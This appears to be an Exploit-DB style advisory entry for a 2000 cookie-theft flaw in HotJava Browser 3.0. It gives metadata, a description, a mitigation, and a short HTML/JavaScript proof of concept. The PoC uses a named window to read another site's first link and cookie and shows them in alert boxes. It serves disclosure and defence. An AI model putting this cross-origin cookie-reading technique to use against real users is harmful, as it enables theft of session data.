HotJava Browser 3.0 JavaScript security vulnerability

vendor:

HotJava Browser

by:

Georgi Guninski

4.3

CVSS

MEDIUM

Cookie Theft

200

CWE

Product Name: HotJava Browser

Affected Version From: HotJava Browser 3.0

Affected Version To: HotJava Browser 3.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sun_microsystems:hotjava_browser:3.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2000

HotJava Browser 3.0 JavaScript security vulnerability

A malicious website operator may be able to obtain cookies from a target system browsing with Sun HotJava Browser. The Document Object Model (DOM) of arbitrary URLs can be accessed if a specially formed javascript is launched from a named window. Cookies that may contain sensitive information can be acquired through this method.

Mitigation:

Disable JavaScript in the browser settings or use a different browser.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/1837/info

A malicious website operator may be able to obtain cookies from a target system browsing with Sun HotJava Browser. 

The Document Object Model (DOM) of arbitrary URLs can be accessed if a specially formed javascript is launched from a named window. Cookies that may contain sensitive information can be acquired through this method.

<HTML>
<HEAD>
<TITLE>
Demo - HotJava Browser 3.0 JavaScript security vulnerability
</TITLE>
</HEAD>
<BODY>
Demo - HotJava Browser 3.0 JavaScript security vulnerability
<BR>
This page shows the cookie and the first link from from www.sun.com in 10 seconds
<BR>
Written by Georgi Guninski
<BR>

<SCRIPT>
window.open("http://www.sun.com","g");
setTimeout("window.open('javascript:alert(\"The first link is: \"+document.links[0].href);alert(\"The cookie is: \"+document.cookie)','g')",10000);
</SCRIPT>

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